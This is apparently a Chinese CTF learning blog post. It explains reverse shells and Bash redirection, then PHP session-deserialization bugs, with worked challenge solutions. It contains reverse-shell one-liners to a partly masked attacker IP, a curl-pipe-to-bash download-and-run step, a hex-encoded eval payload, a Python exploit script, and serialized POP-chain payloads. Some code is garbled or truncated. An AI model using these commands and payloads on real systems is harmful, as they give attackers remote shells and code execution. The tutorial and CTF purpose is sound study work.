什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

正向连接

就是我们客户端连服务器

我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接

反向连接

就是让服务器连我们

一般适用于

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
  • 向web里面的话有可能出现在rce当中过滤的函数实在太多,我们只能去实现反向连shell

常见的方式

  • Bash反弹shell

  • 首先我们先了解下Linux的连接符号和重定向

  • 什么是重定向:

  • Linux中的重定向就是将原本要输出到屏幕中的数据信息,重新指向某个特定文件当中,或者定向到黑洞文件(/dev/null)中。

  • 重定向的作用:

    • 当屏幕输出的信息很重要,希望保存时

    • 后台执行的程序一般都会有输出,不希望它输出干扰到终端

    • 执行定时备份任务,希望将备份结果保留下来时

    • 执行一些命令,会提示一些报错信息,可以直接将报错丢弃。

    • 执行命令时希望将报错和正确内容区分在不同文件中时(日志)

      1. 文件描述符

      1. 文件描述符是IO重定向中的重要概念。文件描述符使用数字表示,它指明了数据的流向特征。

在Linux中我们分别使用描述符0,1,2表示

这三个默认的符号文件分别是终端字符设备的软连接/dev/stdin、/dev/stdout、/dev/srderr

表示标准输入、标准输出、和报错

当进程操作一个文件时:

首先程序是无法直接访问硬件,需要借助内核来访问文件

而内核kernel需要利用文件描述(file descriptor)来访问

总结:进程使用文件描述符来管理打开的文件对应关系

通常程序访问一个文件至少会打开三个标准文件,分别是标准输入,标准输出,错误输出

进程将从标准输入中的到数据,将正常输出打印至屏幕终端,将错误的输出信息也打印至屏幕终端

重定向

我们使用>或者>>时符号左边表示文件描述符,没有的话默认是1(标准输出)符号右边可以是文件也可以是输出设备(linux中万物都是文件,且设备也是文件)当使用>时,会判断右边的文件存不存在,如果存在的话就先删除,然后创建一个新的文件,不存在的话则直接创建。但是当使用>>进行追加时,则不会删除原来已经存在的文件

简单用法就不举例子了

高级用法:

#将错误输出信息关闭掉,控制台只打印了标准输出

[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 2>&-

this is a.txt

[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 2>/dev/null

this is a.txt

#&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出&-代表关闭与它绑定的描述符

#/dev/null 这个设备,是linux 中黑洞设备,什么信息只要输出给这个设备,都会给吃掉

#关闭所有输出

#关闭 1 ,2 文件描述符

[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt 1>&- 2>&-

#将1,2 输出转发给/dev/null设备

[chengmo@centos5 shell]$ ls test.sh test1.sh  2>/dev/null 1>/dev/null
[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt >/dev/null 2>&1

#将标准输出fd=1重定向到/dev/null文件,然后将fd=2重定向到fd=1所绑定的/dev/null文件。这种常用文件描述符前必须有个 &, 否则2>1就变成将错误输出输出到一个名为1的文件。

[root@sccprocddev02:/home/upro01]cat 1.txt 2.txt &>/dev/null

#&>代表将标准输出与标准错误重定向到/dev/null文件

输入重定向实例

我们使用<对输入做重定向,如果符号左边没有写值,那么默认就是0。 格式:

command-line [n] <文件

命令默认从键盘获得的输入,使用输入重定向改成从文件,或者其它打开文件以及设备输入。执行这个命令,将标准输入0,与文件或设备绑定,将由它进行输入。

[root@sccprocddev02:/home/upro01]cat > stdout.txt

this is stdout.txt

^C

[root@sccprocddev02:/home/upro01]cat stdout.txt

this is stdout.txt

#这里使用ctrl+d 或者ctrl+c退出输入

#从标准输入[键盘]获得数据,然后输出给stdout.txt文件

[root@sccprocddev02:/home/upro01]cat > stdout2.txt < stdout.txt

[root@sccprocddev02:/home/upro01]cat stdout2.txt

this is stdout.txt

#从stdout.txt获得输入数据,然后输出给文件stdout2.txt

[root@sccprocddev02:/home/upro01]cat > stdout3.txt << end

first line

second line

end

[root@sccprocddev02:/home/upro01]#cat stdout3.txt

first line

second line

#<< 这个连续两个小符号, 他代表的是[结束的输入字符]的意思。这样当空行输入end字符时,自动退出输入,不需要使用ctrl+d或者ctrl+c退出

先简单了解下这两个

回到Bash反弹shell

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

bash -c “bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1” #更稳定

#bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出&-代表关闭与它绑定的描述符

所以这段指令就是在目标及和主机之间进行一个bash的shell交互环境,在主机上从键盘输出到0(也就是输出到目标机上比如我们执行指令),目标机进行输出(收到主机的指令,进行输出到主机上面)从而形成回路

然后攻击机在本地监听就可以了

nc -lvvn 2333

Curl配合Bash反弹shell首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

#使用 bash -i 命令启动一个交互式的 Bash shell。然后将 shell 的标准输入、标准输出和标准错误重定向到 TCP 连接上,连接到 IP 地址 47.xxx.xxx.72 的 2333 端口

并开启2333端口的监听然后再目标机上执行如下,即可反弹shell:

curl 47.xxx.xxx.72|bash

#使用curl指令从 IP 地址 47.xxx.xxx.72 下载一个文件或脚本。然后将下载的内容通过管道符 | 传递给 bash 命令,也就是执行这个下载的脚本。

curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

基本了解了bash的反弹shell之后我们找题目

<?php error_reporting(0);

highlight_file(__FILE__);

function strCheck($cmd) { if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){ return($cmd);

} else{ die("i hate this"); }

}

$cmd=$_GET['cmd'];

strCheck($cmd); shell_exec($cmd);

?>

这个题目的关键函数

strCheck()函数是用来检查输入的命令是否包含一些危险的关键字,比如;、&、$等。如果包含这些关键字,函数会直接退出并输出”i hate this”。

cmd进行传参传给strCheck()

如果strCheck()函数没有拦截该命令,代码会使用

shell_exec()函数执行该命令

shell_exec()是PHP中用于执行系统命令的一个函数。它的作用是执行一个外部程序或命令,并将该命令的输出以字符串的形式返回。

用了shell_exec函数执行命令,但是不能回显,这里可以用重定向将命令写入到指定的文件

利用重定向执行ls / 输出到1.txt

进入1.txt

执行同样操作

看到flag,下面将flag进行输出

再次访问1.txt得到flag

CISCN2024 simple_php

今年国赛的一道题目

属实让我一脸懵逼

<?php

ini_set('open_basedir', '/var/www/html/');

error_reporting(0);

if(isset($_POST['cmd'])){

$$cmd = escapeshellcmd$$_POST['cmd']);

if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i',$cmd))

{

system($cmd);

}

}

show_source(__FILE__)

;?>

很多函数我都没见过,还过滤这么多东西

坐牢一下午

函数就不进行解释了

发现可以通过换行符进行了绕过

看了一些wp,这些人是这么想到的?他们竟然能用rce来做这题

payload

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

php -r这真让人难以想到

找到flag就可以了

文章:https://xia0ji233.pro/2024/05/19/CISCN2024/index.html

还有一种就是反弹shell了

以为可以%0a换行符号绕过

在复现之前我得先搭建个服务器给自己

所以这几天我看能不能搭建自己的服务器

PHP的session反序列化漏洞

反序列化还是有一点点的基础,现在的想法就是边做题边看wp边学习做笔记,先学广在慢慢学精

SESSION先了解下

PHP Session 概述

session 是一种客户与网站(服务器)更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用(保持)这个会话,从而让访问者与网站之间建立了一种“对话”机制。

这是官方的解释

session 会话会为每一个开启了 session 会话的访问者建立一个唯一的会话 ID ,用于识别用户。该会话 ID 可能存储于用户电脑的 cookie 内,也可能通过 URL 来传递。而对应的具体 session 值会存储于服务器端,这也是与 cookie 的主要区别,并且安全性相对较高。

回到session的反序列化

在php.ini中存在三项配置项:

  • session.save_path="" –设置session的存储路径
  • session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

举例:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files 表明session是以文件的方式来进行存储的
  • session.auto_start=0 表明默认不启动session
  • session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
  1. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  2. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  3. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

存储机制

php中的session中的内容并不是放在内存中**的,而是以*文件******的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
在php_serialzie引擎下
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock"; 。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

func = "phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}

得到的反序列化内容是

object(syclover)[1]

public ‘func’ => string ‘echo “spoock”;’ (length=14)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION[‘ryat’] = ‘|O:11:”PeopleClass”:0:{}’``;

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1) ‘a:1:{s:6:”spoock”;s:24:”‘ => object(__PHP_Incomplete_Class)[1] public ‘__PHP_Incomplete_Class_Name’ => string ``’PeopleClass’ (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。 这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎(session.serialize_handler)不一样,就形成了一个漏洞、

s1.php,使用php_serialize来处理session

hi = `'phpinfo();';` }`` function` `__destruct() { `eval`(`$this`->hi); ` ``}` `} **当访问s1.php时,提交如下的数据:** localhost/s1.php?a=|O:5:`"lemon"`:1:{s:2:`"hi"`;s:14:`"echo "`spoock`";"`;} 此时传入的数据会按照php_serialize来进行序列化。 此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的`eval()`方法。 例题 # **CTFSHOW 新生杯** ### **剪刀石头布** 考查[session](https://so.csdn.net/so/search?q=session&spm=1001.2101.3001.7020)反序列化漏洞。 不同的session处理器会导致[反序列化](https://so.csdn.net/so/search?q=反序列化&spm=1001.2101.3001.7020)漏洞 exp:
import requests
url="http://697e59f6-2b82-43b9-806d-25fa3965a86b.challenge.ctf.show/"
sess="yu22x"
data={'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'}
files={'file':'1'}
r = requests.post(url,data=data,files=files,cookies={'PHPSESSID':'yu22x'})
print(r.text)
# **安恒杯一道题**
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

//show_source(__FILE__);

class foo1{

public $varr; function __construct(){ $this->varr = "index.php";

}

function __destruct(){

if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>";

}

echo "<br>这是foo1的析构函数<br>";

}

}

class foo2{

public $varr; public $obj;

function __construct(){

$this->varr = '1234567890'; $this->obj = null;

}

function __toString(){

$this->obj->execute(); return $this->varr;

}

function __desctuct(){

echo "<br>这是foo2的析构函数<br>";

}

}

class foo3{

public $varr; function execute(){ eval($this->varr);

}

function __desctuct(){

echo "<br>这是foo3的析构函数<br>";

}

}

?>
index.php
<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

分析可以知道最后肯定是要用execue里的eval

在本地搭建环境,构造我们需要执行的自定义函数

<?php

class foo3{

public $varr='echo "spoock";'; function execute(){ eval($this->varr);

}

}

class foo2{

public $varr; public $obj;

function __construct(){

$this->varr = '1234567890'; $this->obj = new foo3();

}

function __toString(){

$this->obj->execute(); return $this->varr;

}

}

class foo1{

public $varr; function __construct(){ $this->varr = new foo2();

}

}

$obj = new foo1();

print_r(serialize($obj));

?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是 $$O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}$$